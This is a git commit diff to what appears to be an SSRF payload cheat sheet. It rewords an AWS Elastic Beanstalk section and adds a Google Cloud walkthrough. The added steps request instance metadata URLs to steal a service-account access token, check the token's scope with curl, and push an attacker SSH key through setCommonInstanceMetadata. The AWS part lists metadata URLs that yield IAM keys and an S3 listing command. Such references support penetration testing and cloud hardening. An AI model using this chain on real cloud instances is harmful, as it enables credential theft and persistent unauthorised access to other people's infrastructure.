SSRF Google Cloud - add ssh key

This commit is contained in:
Swissky 2019-04-22 11:35:07 +02:00
parent 4d3ee90eec
commit 5bb27ee889

View file

@ -388,14 +388,14 @@ E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.c
### SSRF URL for AWS Elastic Beanstalk
We retrieved the `accountId` and `region` from the API.
We retrieve the `accountId` and `region` from the API.
```powershell
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
We then retrieved the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
```powershell
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
@ -403,7 +403,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
![notsosecureblog-awskey](https://www.notsosecure.com/wp-content/uploads/2019/02/aws-cli.jpg)
Then use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
### SSRF URL for Google Cloud
@ -438,6 +438,36 @@ Interesting files to pull out:
- Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`
- Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`
#### Add an SSH key
Extract the token
```powershell
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Check the scope of the token
```powershell
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
{
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Now push the SSH key.
```powershell
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
### SSRF URL for Digital Ocean